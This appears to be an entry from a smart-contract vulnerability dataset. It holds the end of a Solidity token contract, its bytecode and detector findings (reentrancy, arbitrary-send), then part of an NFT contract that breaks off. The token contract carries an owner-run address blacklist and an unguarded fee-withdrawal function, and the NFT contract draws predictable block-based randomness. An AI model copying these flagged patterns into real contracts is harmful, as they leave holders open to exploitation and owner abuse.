if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (5 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 12, "not larger than 12%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103c1578063cf0848f7146103d6578063cf9d4afa146103f6578063dd62ed3e14610416578063e6ec64ec1461045c578063f2fde38b1461047c57600080fd5b8063715018a6146103245780638da5cb5b1461033957806390d49b9d1461036157806395d89b4114610172578063a9059cbb14610381578063b515566a146103a157600080fd5b806331c2d8471161010857806331c2d8471461023d5780633bbac5791461025d578063437823ec14610296578063476343ee146102b65780635342acb4146102cb57806370a082311461030457600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b357806318160ddd146101e357806323b872dd14610209578063313ce5671461022957600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5061017061049c565b005b34801561017e57600080fd5b5060408051808201825260098152684b6f6e674e696e6a6160b81b602082015290516101aa919061188f565b60405180910390f35b3480156101bf57600080fd5b506101d36101ce366004611909565b6104e8565b60405190151581526020016101aa565b3480156101ef57600080fd5b50683635c9adc5dea000005b6040519081526020016101aa565b34801561021557600080fd5b506101d3610224366004611935565b6104ff565b34801561023557600080fd5b5060096101fb565b34801561024957600080fd5b5061017061025836600461198c565b610568565b34801561026957600080fd5b506101d3610278366004611a51565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a257600080fd5b506101706102b1366004611a51565b6105fe565b3480156102c257600080fd5b5061017061064c565b3480156102d757600080fd5b506101d36102e6366004611a51565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031057600080fd5b506101fb61031f366004611a51565b610686565b34801561033057600080fd5b506101706106a8565b34801561034557600080fd5b506000546040516001600160a01b0390911681526020016101aa565b34801561036d57600080fd5b5061017061037c366004611a51565b6106de565b34801561038d57600080fd5b506101d361039c366004611909565b610758565b3480156103ad57600080fd5b506101706103bc36600461198c565b610765565b3480156103cd57600080fd5b5061017061087e565b3480156103e257600080fd5b506101706103f1366004611a51565b610936565b34801561040257600080fd5b50610170610411366004611a51565b610981565b34801561042257600080fd5b506101fb610431366004611a6e565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046857600080fd5b50610170610477366004611aa7565b610bdc565b34801561048857600080fd5b50610170610497366004611a51565b610c52565b6000546001600160a01b031633146104cf5760405162461bcd60e51b81526004016104c690611ac0565b60405180910390fd5b60006104da30610686565b90506104e581610cea565b50565b60006104f5338484610e64565b5060015b92915050565b600061050c848484610f88565b61055e843361055985604051806060016040528060288152602001611c3b602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611346565b610e64565b5060019392505050565b6000546001600160a01b031633146105925760405162461bcd60e51b81526004016104c690611ac0565b60005b81518110156105fa576000600560008484815181106105b6576105b6611af5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f281611b21565b915050610595565b5050565b6000546001600160a01b031633146106285760405162461bcd60e51b81526004016104c690611ac0565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f193505050501580156105fa573d6000803e3d6000fd5b6001600160a01b0381166000908152600160205260408120546104f990611380565b6000546001600160a01b031633146106d25760405162461bcd60e51b81526004016104c690611ac0565b6106dc6000611404565b565b6000546001600160a01b031633146107085760405162461bcd60e51b81526004016104c690611ac0565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b60006104f5338484610f88565b6000546001600160a01b0316331461078f5760405162461bcd60e51b81526004016104c690611ac0565b60005b81518110156105fa57600c5482516001600160a01b03909116908390839081106107be576107be611af5565b60200260200101516001600160a01b03161415801561080f5750600b5482516001600160a01b03909116908390839081106107fb576107fb611af5565b60200260200101516001600160a01b031614155b1561086c5760016005600084848151811061082c5761082c611af5565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8061087681611b21565b915050610792565b6000546001600160a01b031633146108a85760405162461bcd60e51b81526004016104c690611ac0565b600c54600160a01b900460ff1661090c5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104c6565b600c805460ff60b81b1916600160b81b17905542600d8190556109319061012c611b3c565b600e55565b6000546001600160a01b031633146109605760405162461bcd60e51b81526004016104c690611ac0565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109ab5760405162461bcd60e51b81526004016104c690611ac0565b600c54600160a01b900460ff1615610a135760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104c6565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a6a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a8e9190611b54565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610adb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aff9190611b54565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b709190611b54565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c065760405162461bcd60e51b81526004016104c690611ac0565b600c811115610c4d5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031322560681b60448201526064016104c6565b600855565b6000546001600160a01b03163314610c7c5760405162461bcd60e51b81526004016104c690611ac0565b6001600160a01b038116610ce15760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104c6565b6104e581611404565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d3257610d32611af5565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610daf9190611b54565b81600181518110610dc257610dc2611af5565b6001600160a01b039283166020918202929092010152600b54610de89130911684610e64565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e21908590600090869030904290600401611b71565b600060405180830381600087803b158015610e3b57600080fd5b505af1158015610e4f573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ec65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c6565b6001600160a01b038216610f275760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c6565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fec5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c6565b6001600160a01b03821661104e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c6565b600081116110b05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c6565b6001600160a01b03831660009081526005602052604090205460ff16156110d657600080fd5b6001600160a01b03831660009081526004602052604081205460ff1615801561111857506001600160a01b03831660009081526004602052604090205460ff16155b801561112e5750600c54600160a81b900460ff16155b801561115e5750600c546001600160a01b038581169116148061115e5750600c546001600160a01b038481169116145b1561133457600c54600160b81b900460ff166111bc5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104c6565b50600c546001906001600160a01b0385811691161480156111eb5750600b546001600160a01b03848116911614155b80156111f8575042600e54115b1561124057600061120884610686565b90506112296064611223683635c9adc5dea000006003611454565b906114d3565b6112338483611515565b111561123e57600080fd5b505b600d5442141561126e576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061127930610686565b600c54909150600160b01b900460ff161580156112a45750600c546001600160a01b03868116911614155b1561133257801561133257600c80546112d79160649161122391906112d1906001600160a01b0316610686565b90611454565b81111561130357600c80546113009160649161122391906112d1906001600160a01b0316610686565b90505b60006113108260046114d3565b905061131c8183611be2565b915061132781611574565b61133082610cea565b505b505b611340848484846115a4565b50505050565b6000818484111561136a5760405162461bcd60e51b81526004016104c6919061188f565b5060006113778486611be2565b95945050505050565b60006006548211156113e75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104c6565b60006113f16116a7565b90506113fd83826114d3565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600082611463575060006104f9565b600061146f8385611bf9565b90508261147c8583611c18565b146113fd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c6565b60006113fd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116ca565b6000806115228385611b3c565b9050838110156113fd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c6565b600c805460ff60b01b1916600160b01b1790556115943061dead83610f88565b50600c805460ff60b01b19169055565b80806115b2576115b26116f8565b6000806000806115c187611714565b6001600160a01b038d16600090815260016020526040902054939750919550935091506115ee908561175b565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461161d9084611515565b6001600160a01b03891660009081526001602052604090205561163f8161179d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161168491815260200190565b60405180910390a350505050806116a0576116a0600954600855565b5050505050565b60008060006116b46117e7565b90925090506116c382826114d3565b9250505090565b600081836116eb5760405162461bcd60e51b81526004016104c6919061188f565b5060006113778486611c18565b60006008541161170757600080fd5b6008805460095560009055565b60008060008060008061172987600854611829565b9150915060006117376116a7565b90506000806117478a8585611856565b909b909a5094985092965092945050505050565b60006113fd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611346565b60006117a76116a7565b905060006117b58383611454565b306000908152600160205260409020549091506117d29082611515565b30600090815260016020526040902055505050565b6006546000908190683635c9adc5dea0000061180382826114d3565b82101561182057505060065492683635c9adc5dea0000092509050565b90939092509050565b6000808061183c60646112238787611454565b9050600061184a868361175b565b96919550909350505050565b600080806118648685611454565b905060006118728686611454565b90506000611880838361175b565b92989297509195505050505050565b600060208083528351808285015260005b818110156118bc578581018301518582016040015282016118a0565b818111156118ce576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104e557600080fd5b8035611904816118e4565b919050565b6000806040838503121561191c57600080fd5b8235611927816118e4565b946020939093013593505050565b60008060006060848603121561194a57600080fd5b8335611955816118e4565b92506020840135611965816118e4565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561199f57600080fd5b823567ffffffffffffffff808211156119b757600080fd5b818501915085601f8301126119cb57600080fd5b8135818111156119dd576119dd611976565b8060051b604051601f19603f83011681018181108582111715611a0257611a02611976565b604052918252848201925083810185019188831115611a2057600080fd5b938501935b82851015611a4557611a36856118f9565b84529385019392850192611a25565b98975050505050505050565b600060208284031215611a6357600080fd5b81356113fd816118e4565b60008060408385031215611a8157600080fd5b8235611a8c816118e4565b91506020830135611a9c816118e4565b809150509250929050565b600060208284031215611ab957600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b3557611b35611b0b565b5060010190565b60008219821115611b4f57611b4f611b0b565b500190565b600060208284031215611b6657600080fd5b81516113fd816118e4565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bc15784516001600160a01b031683529383019391830191600101611b9c565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611bf457611bf4611b0b565b500390565b6000816000190483118215151615611c1357611c13611b0b565b500290565b600082611c3557634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203aac4d66e98bd04f5408da384bd9a90aef48d3e31b400aa96d4f16d0ed60c9f964736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,171 |
0x74767e03da516c2f2f5592cd98d3bfba5c30e770
|
/**
*Submitted for verification at Etherscan.io on 2021-09-22
*/
pragma solidity 0.7.6;
pragma abicoder v2;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers, throws on overflow.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
return a % b;
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId)
external
view
returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface ERC721TokenReceiver {
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes calldata _data
) external returns (bytes4);
}
interface ChromaInterface {
function transmutePlotToNFTs(
address _recipient,
uint256 _plotId,
uint256 _count
) external returns (bool);
function transmutePlotToERC20(
address _recipient,
uint256 _plotId,
uint256 _count
) external returns (bool);
function toHex(uint256 _id) external view returns (string memory);
}
contract ChromaticPlot is IERC721 {
using SafeMath for uint256;
/**
* Event emitted when minting a new NFT. "createdVia" is the index of the Cryptopunk/Autoglyph that was used to mint, or 0 if not applicable.
*/
event Mint(uint256 indexed index, address indexed minter, bool isDevMint);
/**
* Event emitted when the public sale begins.
*/
event ReleaseBegins(
uint256 price,
uint256 minPrice,
uint256 startTime,
uint256 duration,
uint256 quantity
);
bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;
uint256 public constant TOKEN_LIMIT = 65536;
uint256 public constant TOTAL_SALE_LIMIT = 52428;
mapping(bytes4 => bool) internal supportedInterfaces;
mapping(uint256 => address) public idToOwner;
mapping(uint256 => address) internal idToApproval;
mapping(address => mapping(address => bool)) internal ownerToOperators;
mapping(address => uint256[]) public ownerToIds;
mapping(uint256 => uint256) public idToOwnerIndex;
string internal nftName = "Chromatic Plot";
string internal nftSymbol = unicode"▦";
uint256 public numTokens = 0;
uint256 public numSales = 0;
address public chroma;
bool public publicSale = false;
uint256 public minPrice;
uint256 private price;
uint256 public saleStartTime;
uint256 public saleDuration;
uint256 public saleCount;
//// Random index assignment
uint256 internal nonce = 0;
uint256[TOKEN_LIMIT] internal indices;
bool private reentrancyLock = false;
/* Prevent a contract function from being reentrant-called. */
modifier reentrancyGuard() {
if (reentrancyLock) {
revert();
}
reentrancyLock = true;
_;
reentrancyLock = false;
}
modifier canTransfer(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(
tokenOwner == msg.sender ||
idToApproval[_tokenId] == msg.sender ||
ownerToOperators[tokenOwner][msg.sender],
"Cannot transfer."
);
_;
}
modifier canOperate(uint256 _tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(
tokenOwner == msg.sender ||
ownerToOperators[tokenOwner][msg.sender],
"Cannot operate."
);
_;
}
modifier validNFToken(uint256 _tokenId) {
require(idToOwner[_tokenId] != address(0), "Invalid token.");
_;
}
constructor(address payable _adminAddress, address _chroma) {
adminAddress = _adminAddress;
chroma = _chroma;
supportedInterfaces[0x01ffc9a7] = true; // ERC165
supportedInterfaces[0x80ac58cd] = true; // ERC721
supportedInterfaces[0x780e9d63] = true; // ERC721 Enumerable
supportedInterfaces[0x5b5e139f] = true; // ERC721 Metadata
}
function startRelease(
uint256 _price,
uint256 _minPrice,
uint256 _saleDuration,
uint256 _quantity
) external onlyAdmin {
require(!publicSale);
require(saleCount + _quantity <= TOTAL_SALE_LIMIT);
minPrice = _minPrice;
price = _price;
saleDuration = _saleDuration;
saleStartTime = block.timestamp;
publicSale = true;
saleCount = numSales + _quantity;
emit ReleaseBegins(
_price,
_minPrice,
saleStartTime,
saleDuration,
_quantity
);
}
function interruptRelease() external onlyAdmin {
publicSale = false;
}
function mintsRemaining() external view returns (uint256) {
return saleCount.sub(numSales);
}
function randomIndex() internal returns (uint256) {
uint256 totalSize = TOKEN_LIMIT - numTokens;
uint256 index = uint256(
keccak256(
abi.encodePacked(
nonce,
msg.sender,
block.difficulty,
block.timestamp
)
)
) % totalSize;
uint256 value = 0;
if (indices[index] != 0) {
value = indices[index];
} else {
value = index;
}
// Move last value to selected position
if (indices[totalSize - 1] == 0) {
// Array position not initialized, so use position
indices[index] = totalSize - 1;
} else {
// Array position holds a value so use that
indices[index] = indices[totalSize - 1];
}
nonce++;
// Don't allow a zero index, start counting at 1
return value.add(1);
}
// Calculate the mint price
function getPrice() public view returns (uint256) {
require(publicSale, "Sale not started.");
uint256 elapsed = block.timestamp.sub(saleStartTime);
if (elapsed >= saleDuration) {
return minPrice;
} else {
return
saleDuration.sub(elapsed).mul(price).div(saleDuration) >
minPrice
? saleDuration.sub(elapsed).mul(price).div(saleDuration)
: minPrice;
}
}
function mint(uint256 _quantity) external payable reentrancyGuard {
require(publicSale, "Sale not started.");
require(numSales + _quantity <= saleCount, "Exceeds sale limit.");
require(_quantity > 0 && _quantity <= 8, "Invalid quantity.");
uint256 salePrice = getPrice();
require(
msg.value >= salePrice.mul(_quantity),
"Insufficient funds to purchase."
);
if (msg.value > salePrice.mul(_quantity)) {
msg.sender.transfer(msg.value.sub(salePrice.mul(_quantity)));
}
adminAddress.transfer(salePrice.mul(_quantity));
numSales = numSales + _quantity;
for (uint256 i = 0; i < _quantity; i++) {
_mint(msg.sender, false);
}
}
function devMint(uint256 quantity, address recipient) external onlyAdmin {
for (uint256 i = 0; i < quantity; i++) {
_mint(recipient, true);
}
}
function _mint(address _to, bool _isDevMint) internal returns (uint256) {
require(_to != address(0), "Cannot mint to 0x0.");
require(numSales < TOKEN_LIMIT, "Sale limit reached.");
uint256 id = randomIndex();
numTokens = numTokens + 1;
_addNFToken(_to, id);
emit Mint(id, _to, _isDevMint);
emit Transfer(address(0), _to, id);
return id;
}
function _addNFToken(address _to, uint256 _tokenId) internal {
idToOwner[_tokenId] = _to;
ownerToIds[_to].push(_tokenId);
idToOwnerIndex[_tokenId] = ownerToIds[_to].length.sub(1);
}
function _removeNFToken(address _from, uint256 _tokenId) internal {
require(idToOwner[_tokenId] == _from, "Incorrect owner.");
delete idToOwner[_tokenId];
uint256 tokenToRemoveIndex = idToOwnerIndex[_tokenId];
uint256 lastTokenIndex = ownerToIds[_from].length.sub(1);
if (lastTokenIndex != tokenToRemoveIndex) {
uint256 lastToken = ownerToIds[_from][lastTokenIndex];
ownerToIds[_from][tokenToRemoveIndex] = lastToken;
idToOwnerIndex[lastToken] = tokenToRemoveIndex;
}
ownerToIds[_from].pop();
}
function _getOwnerNFTCount(address _owner) internal view returns (uint256) {
return ownerToIds[_owner].length;
}
function _safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes memory _data
) private canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from, "Incorrect owner.");
require(_to != address(0));
_transfer(_to, _tokenId);
if (isContract(_to)) {
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(
msg.sender,
_from,
_tokenId,
_data
);
require(retval == MAGIC_ON_ERC721_RECEIVED);
}
}
function _clearApproval(uint256 _tokenId) private {
if (idToApproval[_tokenId] != address(0)) {
delete idToApproval[_tokenId];
}
}
//////////////////////////
//// Enumerable ////
//////////////////////////
function totalSupply() public view returns (uint256) {
return numTokens;
}
function tokenOfOwnerByIndex(address _owner, uint256 _index)
external
view
returns (uint256)
{
require(_index < ownerToIds[_owner].length);
return ownerToIds[_owner][_index];
}
//////////////////////////
//// Administration ////
//////////////////////////
address payable public adminAddress;
modifier onlyAdmin() {
require(msg.sender == adminAddress, "Only admin.");
_;
}
function setAdmin(address payable _newAdmin) external onlyAdmin {
adminAddress = _newAdmin;
}
//////////////////////////
//// ERC 721 and 165 ////
//////////////////////////
function isContract(address _addr)
internal
view
returns (bool addressCheck)
{
uint256 size;
assembly {
size := extcodesize(_addr)
} // solhint-disable-line
addressCheck = size > 0;
}
function supportsInterface(bytes4 _interfaceID)
external
view
override
returns (bool)
{
return supportedInterfaces[_interfaceID];
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes calldata _data
) external override {
_safeTransferFrom(_from, _to, _tokenId, _data);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
) external override {
_safeTransferFrom(_from, _to, _tokenId, "");
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) external override canTransfer(_tokenId) validNFToken(_tokenId) {
address tokenOwner = idToOwner[_tokenId];
require(tokenOwner == _from, "Wrong from address.");
require(_to != address(0), "Cannot send to 0x0.");
_transfer(_to, _tokenId);
}
function approve(address _approved, uint256 _tokenId)
external
override
canOperate(_tokenId)
validNFToken(_tokenId)
{
address tokenOwner = idToOwner[_tokenId];
require(_approved != tokenOwner);
idToApproval[_tokenId] = _approved;
emit Approval(tokenOwner, _approved, _tokenId);
}
function setApprovalForAll(address _operator, bool _approved)
external
override
{
ownerToOperators[msg.sender][_operator] = _approved;
emit ApprovalForAll(msg.sender, _operator, _approved);
}
function balanceOf(address _owner)
external
view
override
returns (uint256)
{
require(_owner != address(0));
return _getOwnerNFTCount(_owner);
}
function ownerOf(uint256 _tokenId)
external
view
override
returns (address _owner)
{
require(idToOwner[_tokenId] != address(0));
_owner = idToOwner[_tokenId];
}
function getApproved(uint256 _tokenId)
external
view
override
validNFToken(_tokenId)
returns (address)
{
return idToApproval[_tokenId];
}
function isApprovedForAll(address _owner, address _operator)
external
view
override
returns (bool)
{
return ownerToOperators[_owner][_operator];
}
function _transfer(address _to, uint256 _tokenId) internal {
address from = idToOwner[_tokenId];
_clearApproval(_tokenId);
_removeNFToken(from, _tokenId);
_addNFToken(_to, _tokenId);
emit Transfer(from, _to, _tokenId);
}
//////////////////////////
//// Transmutation ////
//////////////////////////
event TransmutationToNFT(uint256 indexed plotId, uint256 count);
event TransmutationToERC20(uint256 indexed plotId, uint256 count);
mapping(uint256 => address) public idToTransmuter;
mapping(address => uint256[]) public transmuterToIds;
mapping(uint256 => uint256) public idToTransmuterIndex;
function _addToTransmutations(address _to, uint256 _tokenId) internal {
idToTransmuter[_tokenId] = _to;
transmuterToIds[_to].push(_tokenId);
idToTransmuterIndex[_tokenId] = transmuterToIds[_to].length.sub(1);
}
function _removeFromTransmutations(address _from, uint256 _tokenId)
internal
{
require(idToTransmuter[_tokenId] == _from, "Incorrect owner.");
delete idToTransmuter[_tokenId];
uint256 tokenToRemoveIndex = idToTransmuterIndex[_tokenId];
uint256 lastTokenIndex = transmuterToIds[_from].length.sub(1);
if (lastTokenIndex != tokenToRemoveIndex) {
uint256 lastToken = transmuterToIds[_from][lastTokenIndex];
transmuterToIds[_from][tokenToRemoveIndex] = lastToken;
idToTransmuterIndex[lastToken] = tokenToRemoveIndex;
}
transmuterToIds[_from].pop();
}
function transmuteChromaNFT(uint256 _plotId, uint256 _count) external {
require(
idToOwner[_plotId] == msg.sender ||
idToTransmuter[_plotId] == msg.sender,
"No access rights to transmute."
);
require(_count > 0, "count must be greater than 0");
emit TransmutationToNFT(_plotId, _count);
if (idToOwner[_plotId] == msg.sender) {
_clearApproval(_plotId);
_removeNFToken(msg.sender, _plotId);
idToTransmuter[_plotId] = msg.sender;
_addToTransmutations(msg.sender, _plotId);
emit Transfer(msg.sender, address(0), _plotId);
}
bool complete = ChromaInterface(chroma).transmutePlotToNFTs(
msg.sender,
_plotId,
_count
);
if (complete) _removeFromTransmutations(msg.sender, _plotId);
}
function transmuteChromaERC20(uint256 _plotId, uint256 _count) external {
require(
idToOwner[_plotId] == msg.sender ||
idToTransmuter[_plotId] == msg.sender,
"No access rights to transmute."
);
require(_count > 0, "count must be greater than 0");
emit TransmutationToERC20(_plotId, _count);
if (idToOwner[_plotId] == msg.sender) {
_clearApproval(_plotId);
_removeNFToken(msg.sender, _plotId);
idToTransmuter[_plotId] = msg.sender;
_addToTransmutations(msg.sender, _plotId);
emit Transfer(msg.sender, address(0), _plotId);
}
bool complete = ChromaInterface(chroma).transmutePlotToERC20(
msg.sender,
_plotId,
_count
);
if (complete) _removeFromTransmutations(msg.sender, _plotId);
}
function getOwnedTokenIds(address owner)
public
view
returns (uint256[] memory)
{
uint256 length = ownerToIds[owner].length;
uint256[] memory owned = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
owned[i] = ownerToIds[owner][i];
}
return owned;
}
function getTransmutingTokenIds(address owner)
public
view
returns (uint256[] memory)
{
uint256 length = transmuterToIds[owner].length;
uint256[] memory transmuting = new uint256[](length);
for (uint256 i = 0; i < length; i++) {
transmuting[i] = transmuterToIds[owner][i];
}
return transmuting;
}
function toHexDigit(uint8 d) internal pure returns (bytes1) {
if (0 <= d && d <= 9) {
return bytes1(uint8(bytes1("0")) + d);
} else if (10 <= uint8(d) && uint8(d) <= 15) {
return bytes1(uint8(bytes1("a")) + d - 10);
}
revert();
}
function toHexString(uint256 a) public pure returns (string memory) {
uint256 count = 2;
uint256 b = a;
